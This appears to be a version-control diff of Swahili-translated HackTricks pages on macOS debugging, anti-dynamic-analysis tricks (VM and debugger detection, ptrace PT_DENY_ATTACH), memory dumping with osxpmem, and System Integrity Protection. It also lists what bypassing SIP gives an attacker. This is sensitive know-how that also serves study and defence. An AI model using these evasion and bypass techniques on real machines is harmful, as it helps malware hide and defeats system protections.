AAAA katika anwani</td></tr><tr><td><strong>disassembly</strong></td><td><p>dis #Disas kazi ya sasa</p><p>dis -n <funcname> #Disas func</p><p>dis -n <funcname> -b <basename> #Disas func<br>dis -c 6 #Disas mistari 6<br>dis -c 0x100003764 -e 0x100003768 # Kutoka moja kuongeza hadi nyingine<br>dis -p -c 4 # Anza katika anwani ya sasa ikichambua</p></td></tr><tr><td><strong>parray</strong></td><td>parray 3 (char **)$x1 # Angalia array ya vipengele 3 katika x1 reg</td></tr><tr><td><strong>image dump sections</strong></td><td>Chapisha ramani ya kumbukumbu ya mchakato wa sasa</td></tr><tr><td><strong>image dump symtab <library></strong></td><td><code>image dump symtab CoreNLP</code> #Pata anwani ya alama zote kutoka CoreNLP</td></tr></tbody></table>
|
||||
|
||||
{% hint style="info" %}
|
||||
Wakati wa kuita kazi ya **`objc_sendMsg`**, register ya **rsi** ina **jina la mbinu** kama mfuatano wa herufi unaomalizika na null (“C”). Ili kuchapisha jina kupitia lldb fanya:
|
||||
|
|
@ -491,14 +478,14 @@ Wakati wa kuita kazi ya **`objc_sendMsg`**, register ya **rsi** ina **jina la mb
|
|||
|
||||
### Anti-Dynamic Analysis
|
||||
|
||||
#### VM detection
|
||||
#### Ugunduzi wa VM
|
||||
|
||||
* Amri ya **`sysctl hw.model`** inarudisha "Mac" wakati **mwenyeji ni MacOS** lakini kitu tofauti wakati ni VM.
|
||||
* Kucheza na thamani za **`hw.logicalcpu`** na **`hw.physicalcpu`** baadhi ya malware hujaribu kugundua ikiwa ni VM.
|
||||
* Baadhi ya malware pia inaweza **gundua** ikiwa mashine ni **VMware** kulingana na anwani ya MAC (00:50:56).
|
||||
* Pia inawezekana kupata **ikiwa mchakato unachunguzwa** kwa kutumia msimbo rahisi kama:
|
||||
* `if(P_TRACED == (info.kp_proc.p_flag & P_TRACED)){ //mchakato unachunguzwa }`
|
||||
* Inaweza pia kuita **`ptrace`** mfumo wa wito na bendera ya **`PT_DENY_ATTACH`**. Hii **inazuia** deb**u**gger kuungana na kufuatilia.
|
||||
* Inaweza pia kuita **`ptrace`** mfumo wa wito na bendera ya **`PT_DENY_ATTACH`**. Hii **inaepusha** deb**u**gger kuungana na kufuatilia.
|
||||
* Unaweza kuangalia ikiwa **`sysctl`** au **`ptrace`** kazi inayo **ingizwa** (lakini malware inaweza kuingiza kwa njia ya kidinamik).
|
||||
* Kama ilivyotajwa katika andiko hili, “[Kushinda Mbinu za Anti-Debug: macOS ptrace variants](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants/)” :\
|
||||
“_Ujumbe Mchakato # ulitoka na **hali = 45 (0x0000002d)** mara nyingi ni ishara ya wazi kwamba lengo la debug linatumia **PT\_DENY\_ATTACH**_”
|
||||
|
|
@ -519,9 +506,9 @@ Katika hali hizo core dumps inaundwa kulingana na `kern.corefile` sysctl na kuhi
|
|||
|
||||
ReportCrash **inafanya uchambuzi wa michakato inayoshindwa na kuhifadhi ripoti ya ajali kwenye diski**. Ripoti ya ajali ina habari ambayo inaweza **kusaidia mendelezi kutambua** sababu ya ajali.\
|
||||
Kwa programu na michakato mingine **inayoendesha katika muktadha wa per-user launchd**, ReportCrash inakimbia kama LaunchAgent na kuhifadhi ripoti za ajali katika `~/Library/Logs/DiagnosticReports/` ya mtumiaji\
|
||||
Kwa daemons, michakato mingine **inayoendesha katika muktadha wa system launchd** na michakato mingine yenye mamlaka, ReportCrash inakimbia kama LaunchDaemon na kuhifadhi ripoti za ajali katika `/Library/Logs/DiagnosticReports` ya mfumo
|
||||
Kwa daemons, michakato mingine **inayoendesha katika muktadha wa system launchd** na michakato mingine yenye mamlaka, ReportCrash inakimbia kama LaunchDaemon na kuhifadhi ripoti za ajali katika `/Library/Logs/DiagnosticReports` ya mfumo.
|
||||
|
||||
Ikiwa unahofia ripoti za ajali **zinazosambazwa kwa Apple** unaweza kuzizima. Ikiwa sivyo, ripoti za ajali zinaweza kuwa na manufaa katika **kugundua jinsi seva ilivyoshindwa**.
|
||||
Ikiwa unahofia ripoti za ajali **zinatumwa kwa Apple** unaweza kuzizima. Ikiwa la, ripoti za ajali zinaweza kuwa na manufaa katika **kugundua jinsi seva ilivyoshindwa**.
|
||||
```bash
|
||||
#To disable crash reporting:
|
||||
launchctl unload -w /System/Library/LaunchAgents/com.apple.ReportCrash.plist
|
||||
|
|
@ -552,7 +539,7 @@ sudo launchctl load -w /System/Library/LaunchDaemons/ssh.plist
|
|||
```
|
||||
### Internal Handlers
|
||||
|
||||
**Angalia ukurasa ufuatao** ili kujua jinsi unavyoweza kupata ni programu ipi inayohusika na **kushughulikia mpango au protokali iliyoainishwa:**
|
||||
**Angalia ukurasa ufuatao** ili kujua jinsi unavyoweza kupata ni programu ipi inayohusika na **kushughulikia mpango au itifaki iliyoainishwa:**
|
||||
|
||||
{% content-ref url="../macos-file-extension-apps.md" %}
|
||||
[macos-file-extension-apps.md](../macos-file-extension-apps.md)
|
||||
|
|
@ -617,43 +604,31 @@ litefuzz -s -a tcp://localhost:5900 -i input/screenshared-session --reportcrash
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
### More Fuzzing MacOS Info
|
||||
### Taarifa Zaidi Za Fuzzing MacOS
|
||||
|
||||
* [https://www.youtube.com/watch?v=T5xfL9tEg44](https://www.youtube.com/watch?v=T5xfL9tEg44)
|
||||
* [https://github.com/bnagy/slides/blob/master/OSXScale.pdf](https://github.com/bnagy/slides/blob/master/OSXScale.pdf)
|
||||
* [https://github.com/bnagy/francis/tree/master/exploitaben](https://github.com/bnagy/francis/tree/master/exploitaben)
|
||||
* [https://github.com/ant4g0nist/crashwrangler](https://github.com/ant4g0nist/crashwrangler)
|
||||
|
||||
## References
|
||||
## Marejeo
|
||||
|
||||
* [**OS X Incident Response: Scripting and Analysis**](https://www.amazon.com/OS-Incident-Response-Scripting-Analysis-ebook/dp/B01FHOHHVS)
|
||||
* [**https://www.youtube.com/watch?v=T5xfL9tEg44**](https://www.youtube.com/watch?v=T5xfL9tEg44)
|
||||
* [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)
|
||||
* [**The Art of Mac Malware: The Guide to Analyzing Malicious Software**](https://taomm.org/)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ni injini ya kutafuta inayotumiwa na **dark-web** ambayo inatoa kazi za **bure** kuangalia kama kampuni au wateja wake wamekuwa **compromised** na **stealer malwares**.
|
||||
|
||||
Lengo lao kuu la WhiteIntel ni kupambana na utekaji wa akaunti na mashambulizi ya ransomware yanayotokana na malware ya kuiba taarifa.
|
||||
|
||||
Unaweza kuangalia tovuti yao na kujaribu injini yao kwa **bure** kwenye:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Jifunze & fanya mazoezi ya AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & fanya mazoezi ya GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -1,57 +1,44 @@
|
|||
# Kudondosha Kumbukumbu za Kumbukumbu za macOS
|
||||
# macOS Memory Dumping
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na zoezi la Udukuzi wa AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Timu Nyekundu Mtaalam (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoezi la Udukuzi wa GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Timu Nyekundu Mtaalam (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>unga mkono HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa michango**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
## Memory Artifacts
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ni injini ya utaftaji inayotumia **dark-web** ambayo inatoa huduma za **bure** za kuangalia ikiwa kampuni au wateja wake wameathiriwa na **malware za wizi**.
|
||||
### Swap Files
|
||||
|
||||
Lengo kuu la WhiteIntel ni kupambana na utekaji wa akaunti na mashambulio ya ransomware yanayotokana na malware za kuiba taarifa.
|
||||
Faili za kubadilishana, kama `/private/var/vm/swapfile0`, hutumikia kama **cache wakati kumbukumbu ya kimwili imejaa**. Wakati hakuna nafasi zaidi katika kumbukumbu ya kimwili, data yake inahamishwa kwenye faili ya kubadilishana na kisha inarudishwa kwenye kumbukumbu ya kimwili inapohitajika. Faili nyingi za kubadilishana zinaweza kuwepo, zikiwa na majina kama swapfile0, swapfile1, na kadhalika.
|
||||
|
||||
Unaweza kutembelea tovuti yao na kujaribu injini yao **bure** kwa:
|
||||
### Hibernate Image
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
Faili iliyoko kwenye `/private/var/vm/sleepimage` ni muhimu wakati wa **hali ya kulala**. **Data kutoka kwenye kumbukumbu huhifadhiwa katika faili hii wakati OS X inalala**. Wakati kompyuta inapoamka, mfumo unapata data ya kumbukumbu kutoka kwenye faili hii, ikiruhusu mtumiaji kuendelea mahali alipoacha.
|
||||
|
||||
***
|
||||
Inafaa kutajwa kwamba kwenye mifumo ya kisasa ya MacOS, faili hii kwa kawaida imefungwa kwa sababu za usalama, na kufanya urejeleaji kuwa mgumu.
|
||||
|
||||
## Vitu vya Kumbukumbu
|
||||
* Ili kuangalia kama usimbaji umewezeshwa kwa sleepimage, amri `sysctl vm.swapusage` inaweza kutumika. Hii itaonyesha kama faili imefungwa.
|
||||
|
||||
### Faili za Kubadilishana
|
||||
### Memory Pressure Logs
|
||||
|
||||
Faili za kubadilishana, kama vile `/private/var/vm/swapfile0`, hutumika kama **akiba wakati kumbukumbu ya kimwili imejaa**. Wakati hakuna nafasi zaidi katika kumbukumbu ya kimwili, data yake inahamishwa kwenye faili ya kubadilishana na kisha kurudishwa kwenye kumbukumbu ya kimwili kama inavyohitajika. Faili za kubadilishana nyingi zinaweza kuwepo, zenye majina kama swapfile0, swapfile1, na kadhalika.
|
||||
Faili nyingine muhimu inayohusiana na kumbukumbu katika mifumo ya MacOS ni **kumbukumbu ya shinikizo la kumbukumbu**. Kumbukumbu hizi ziko katika `/var/log` na zina maelezo ya kina kuhusu matumizi ya kumbukumbu ya mfumo na matukio ya shinikizo. Zinweza kuwa na manufaa hasa kwa kutambua matatizo yanayohusiana na kumbukumbu au kuelewa jinsi mfumo unavyosimamia kumbukumbu kwa muda.
|
||||
|
||||
### Picha ya Kulala
|
||||
## Dumping memory with osxpmem
|
||||
|
||||
Faili iliyoko katika `/private/var/vm/sleepimage` ni muhimu wakati wa **hali ya kulala**. **Data kutoka kumbukumbu hifadhiwa katika faili hii wakati OS X inalala**. Kwa kuamsha kompyuta, mfumo unapata data ya kumbukumbu kutoka kwenye faili hii, kuruhusu mtumiaji kuendelea pale walipoishia.
|
||||
Ili kutupa kumbukumbu katika mashine ya MacOS unaweza kutumia [**osxpmem**](https://github.com/google/rekall/releases/download/v1.5.1/osxpmem-2.1.post4.zip).
|
||||
|
||||
Ni muhimu kutambua kwamba kwenye mifumo ya MacOS ya kisasa, faili hii kawaida imefichwa kwa sababu za usalama, hivyo kufanya kupona kuwa ngumu.
|
||||
|
||||
* Ili kuthibitisha ikiwa uchawi umewezeshwa kwa sleepimage, amri `sysctl vm.swapusage` inaweza kutumika. Hii itaonyesha ikiwa faili imefichwa.
|
||||
|
||||
### Kumbukumbu ya Shinikizo la Kumbukumbu
|
||||
|
||||
Faili nyingine muhimu inayohusiana na kumbukumbu kwenye mifumo ya MacOS ni **kumbukumbu ya shinikizo la kumbukumbu**. Kumbukumbu hizi ziko katika `/var/log` na zina taarifa za kina kuhusu matumizi ya kumbukumbu ya mfumo na matukio ya shinikizo. Zinaweza kuwa muhimu hasa kwa kugundua masuala yanayohusiana na kumbukumbu au kuelewa jinsi mfumo unavyosimamia kumbukumbu kwa muda.
|
||||
|
||||
## Kudondosha kumbukumbu na osxpmem
|
||||
|
||||
Ili kudondosha kumbukumbu kwenye kifaa cha MacOS unaweza kutumia [**osxpmem**](https://github.com/google/rekall/releases/download/v1.5.1/osxpmem-2.1.post4.zip).
|
||||
|
||||
**Maelezo**: Maelekezo yafuatayo yatafanya kazi tu kwa Macs zenye muundo wa Intel. Zana hii sasa imehifadhiwa na toleo la mwisho lilikuwa mwaka 2017. Binari iliyopakuliwa kwa kutumia maelekezo yaliyotolewa hapa inalenga chips za Intel kwani Apple Silicon haikuwepo mwaka 2017. Inaweza kuwa inawezekana kuchakata binari kwa muundo wa arm64 lakini utalazimika kujaribu mwenyewe.
|
||||
**Note**: Maelekezo yafuatayo yatatumika tu kwa Macs zenye usanifu wa Intel. Chombo hiki sasa kimehifadhiwa na toleo la mwisho lilikuwa mwaka 2017. Binary iliyopakuliwa kwa kutumia maelekezo hapa chini inalenga chips za Intel kwani Apple Silicon haikuwapo mwaka 2017. Inaweza kuwa inawezekana kukusanya binary kwa usanifu wa arm64 lakini itabidi ujaribu mwenyewe.
|
||||
```bash
|
||||
#Dump raw format
|
||||
sudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem
|
||||
|
|
@ -59,16 +46,16 @@ sudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem
|
|||
#Dump aff4 format
|
||||
sudo osxpmem.app/osxpmem -o /tmp/dump_mem.aff4
|
||||
```
|
||||
Kama unapata kosa hili: `osxpmem.app/MacPmem.kext failed to load - (libkern/kext) authentication failure (file ownership/permissions); check the system/kernel logs for errors or try kextutil(8)` Unaweza kulirekebisha kwa kufanya:
|
||||
Ikiwa unakutana na kosa hili: `osxpmem.app/MacPmem.kext failed to load - (libkern/kext) authentication failure (file ownership/permissions); check the system/kernel logs for errors or try kextutil(8)` Unaweza kulitatua kwa kufanya:
|
||||
```bash
|
||||
sudo cp -r osxpmem.app/MacPmem.kext "/tmp/"
|
||||
sudo kextutil "/tmp/MacPmem.kext"
|
||||
#Allow the kext in "Security & Privacy --> General"
|
||||
sudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem
|
||||
```
|
||||
**Makosa mengine** yanaweza kusuluhishwa kwa **kuruhusu mzigo wa kext** katika "Usalama & Faragha --> Jumla", tu **ruhusu**.
|
||||
**Makosa mengine** yanaweza kurekebishwa kwa **kuruhusu upakiaji wa kext** katika "Usalama & Faragha --> Kawaida", tu **ruhusu**.
|
||||
|
||||
Unaweza pia kutumia hii **mistari moja** kupakua programu, kuruhusu kext na kudondosha kumbukumbu:
|
||||
Unaweza pia kutumia hii **oneliner** kupakua programu, kupakia kext na kutupa kumbukumbu:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
|
@ -77,29 +64,18 @@ cd /tmp; wget https://github.com/google/rekall/releases/download/v1.5.1/osxpmem-
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ni injini ya utaftaji inayotumia **dark-web** ambayo inatoa huduma za **bure** za kuangalia ikiwa kampuni au wateja wake wameathiriwa na **malwares za kuiba**.
|
||||
|
||||
Lengo kuu la WhiteIntel ni kupambana na utekaji wa akaunti na mashambulio ya ransomware yanayotokana na malware za kuiba taarifa.
|
||||
|
||||
Unaweza kutembelea tovuti yao na kujaribu injini yao **bure** kwa:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze & jifanye AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & jifanye GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -15,30 +15,17 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ni injini ya utafutaji inayotumiwa na **dark-web** ambayo inatoa kazi za **bure** kuangalia ikiwa kampuni au wateja wake wamekuwa **compromised** na **stealer malwares**.
|
||||
|
||||
Lengo lao kuu la WhiteIntel ni kupambana na utekaji wa akaunti na mashambulizi ya ransomware yanayotokana na malware inayopora taarifa.
|
||||
|
||||
Unaweza kuangalia tovuti yao na kujaribu injini yao kwa **bure** kwenye:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## **Basic Information**
|
||||
|
||||
**System Integrity Protection (SIP)** katika macOS ni mekanism iliyoundwa kuzuia hata watumiaji wenye mamlaka makubwa kufanya mabadiliko yasiyoidhinishwa kwenye folda muhimu za mfumo. Kipengele hiki kina jukumu muhimu katika kudumisha uadilifu wa mfumo kwa kuzuia vitendo kama kuongeza, kubadilisha, au kufuta faili katika maeneo yaliyolindwa. Folda kuu zinazolindwa na SIP ni pamoja na:
|
||||
**Ulinzi wa Uadilifu wa Mfumo (SIP)** katika macOS ni mekanizma iliyoundwa kuzuia hata watumiaji wenye mamlaka makubwa kufanya mabadiliko yasiyoidhinishwa kwenye folda muhimu za mfumo. Kipengele hiki kina jukumu muhimu katika kudumisha uadilifu wa mfumo kwa kuzuia vitendo kama kuongeza, kubadilisha, au kufuta faili katika maeneo yaliyolindwa. Folda kuu zinazolindwa na SIP ni pamoja na:
|
||||
|
||||
* **/System**
|
||||
* **/bin**
|
||||
* **/sbin**
|
||||
* **/usr**
|
||||
|
||||
Sheria zinazosimamia tabia ya SIP zimefafanuliwa katika faili ya usanidi iliyoko **`/System/Library/Sandbox/rootless.conf`**. Ndani ya faili hii, njia ambazo zinaanzishwa na nyota (\*) zinatambulika kama visingizio vya vizuizi vya SIP ambavyo ni vikali.
|
||||
Sheria zinazosimamia tabia ya SIP zimefafanuliwa katika faili la usanidi lililoko kwenye **`/System/Library/Sandbox/rootless.conf`**. Ndani ya faili hii, njia ambazo zinaanzishwa na nyota (\*) zinatambulishwa kama visingizio kwa vizuizi vya SIP ambavyo ni vikali.
|
||||
|
||||
Fikiria mfano ulio hapa chini:
|
||||
```javascript
|
||||
|
|
@ -61,24 +48,24 @@ Kwa upande mwingine:
|
|||
ls -lOd /usr/libexec
|
||||
drwxr-xr-x 338 root wheel restricted 10816 May 13 00:29 /usr/libexec
|
||||
```
|
||||
Here, the **`restricted`** flag indicates that the `/usr/libexec` directory is protected by SIP. In a SIP-protected directory, files cannot be created, modified, or deleted.
|
||||
Hapa, bendera **`restricted`** inaonyesha kwamba saraka ya `/usr/libexec` inalindwa na SIP. Katika saraka iliyo na ulinzi wa SIP, faili haziwezi kuundwa, kubadilishwa, au kufutwa.
|
||||
|
||||
Moreover, if a file contains the attribute **`com.apple.rootless`** extended **attribute**, that file will also be **protected by SIP**.
|
||||
Zaidi ya hayo, ikiwa faili ina sifa **`com.apple.rootless`** sifa ya **kupanuliwa**, faili hiyo pia itakuwa **inalindwa na SIP**.
|
||||
|
||||
**SIP also limits other root actions** like:
|
||||
**SIP pia inakadiria vitendo vingine vya root** kama:
|
||||
|
||||
* Loading untrusted kernel extensions
|
||||
* Getting task-ports for Apple-signed processes
|
||||
* Modifying NVRAM variables
|
||||
* Allowing kernel debugging
|
||||
* Kupakia nyongeza za kernel zisizoaminika
|
||||
* Kupata task-ports kwa michakato iliyosainiwa na Apple
|
||||
* Kubadilisha mabadiliko ya NVRAM
|
||||
* Kuruhusu ufuatiliaji wa kernel
|
||||
|
||||
Options are maintained in nvram variable as a bitflag (`csr-active-config` on Intel and `lp-sip0` is read from the booted Device Tree for ARM). You can find the flags in the XNU source code in `csr.sh`:
|
||||
Chaguo zinawekwa katika mabadiliko ya nvram kama bitflag (`csr-active-config` kwenye Intel na `lp-sip0` inasomwa kutoka kwa Mti wa Kifaa kilichozinduliwa kwa ARM). Unaweza kupata bendera hizo katika msimbo wa chanzo wa XNU katika `csr.sh`:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1192).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### SIP Status
|
||||
### Hali ya SIP
|
||||
|
||||
You can check if SIP is enabled on your system with the following command:
|
||||
Unaweza kuangalia ikiwa SIP imewezeshwa kwenye mfumo wako kwa amri ifuatayo:
|
||||
```bash
|
||||
csrutil status
|
||||
```
|
||||
|
|
@ -93,8 +80,8 @@ csrutil enable --without debug
|
|||
### Other Restrictions
|
||||
|
||||
* **Inakata kupakia nyongeza za kernel zisizo na saini** (kexts), kuhakikisha kwamba nyongeza zilizothibitishwa pekee ndizo zinazoingiliana na kernel ya mfumo.
|
||||
* **Inazuia ufuatiliaji** wa michakato ya mfumo wa macOS, ikilinda sehemu muhimu za mfumo kutokana na ufikiaji na mabadiliko yasiyoidhinishwa.
|
||||
* **Inakandamiza zana** kama dtrace kutoka kuangalia michakato ya mfumo, ikilinda zaidi uadilifu wa uendeshaji wa mfumo.
|
||||
* **Inazuia ufuatiliaji** wa michakato ya mfumo wa macOS, ikilinda vipengele vya msingi vya mfumo kutokana na ufikiaji na mabadiliko yasiyoidhinishwa.
|
||||
* **Inakandamiza zana** kama dtrace kutoka kuangalia michakato ya mfumo, ikilinda zaidi uaminifu wa uendeshaji wa mfumo.
|
||||
|
||||
[**Jifunze zaidi kuhusu taarifa za SIP katika mazungumzo haya**](https://www.slideshare.net/i0n1c/syscan360-stefan-esser-os-x-el-capitan-sinking-the-ship)**.**
|
||||
|
||||
|
|
@ -103,13 +90,13 @@ csrutil enable --without debug
|
|||
Kupita SIP kunamwezesha mshambuliaji:
|
||||
|
||||
* **Kufikia Data za Mtumiaji**: Kusoma data nyeti za mtumiaji kama barua, ujumbe, na historia ya Safari kutoka kwa akaunti zote za mtumiaji.
|
||||
* **TCC Bypass**: Manipulate moja kwa moja hifadhidata ya TCC (Transparency, Consent, and Control) ili kutoa ufikiaji usioidhinishwa kwa kamera, kipaza sauti, na rasilimali nyingine.
|
||||
* **Kuweka Uthabiti**: Kuweka malware katika maeneo yaliyo na ulinzi wa SIP, ikifanya iwe ngumu kuondoa, hata kwa ruhusa za root. Hii pia inajumuisha uwezekano wa kuingilia kati Zana ya Kuondoa Malware (MRT).
|
||||
* **TCC Bypass**: Kudhibiti moja kwa moja hifadhidata ya TCC (Transparency, Consent, and Control) ili kutoa ufikiaji usioidhinishwa kwa kamera, kipaza sauti, na rasilimali nyingine.
|
||||
* **Kuweka Uthabiti**: Kuweka malware katika maeneo yaliyo na ulinzi wa SIP, na kufanya iwe ngumu kuondoa, hata kwa ruhusa za root. Hii pia inajumuisha uwezekano wa kuingilia kati Zana ya Kuondoa Malware (MRT).
|
||||
* **Kupakia Nyongeza za Kernel**: Ingawa kuna ulinzi wa ziada, kupita SIP kunarahisisha mchakato wa kupakia nyongeza za kernel zisizo na saini.
|
||||
|
||||
### Installer Packages
|
||||
|
||||
**Pakiti za installer zilizotiwa saini na cheti cha Apple** zinaweza kupita ulinzi wake. Hii inamaanisha kwamba hata pakiti zilizotiwa saini na waendelezaji wa kawaida zitazuiwa ikiwa zitajaribu kubadilisha saraka zilizo na ulinzi wa SIP.
|
||||
**Pakiti za installer zilizotiwa saini na cheti cha Apple** zinaweza kupita ulinzi wake. Hii inamaanisha kwamba hata pakiti zilizotiwa saini na waendelezaji wa kawaida zitazuiliwa ikiwa zitajaribu kubadilisha saraka zilizo na ulinzi wa SIP.
|
||||
|
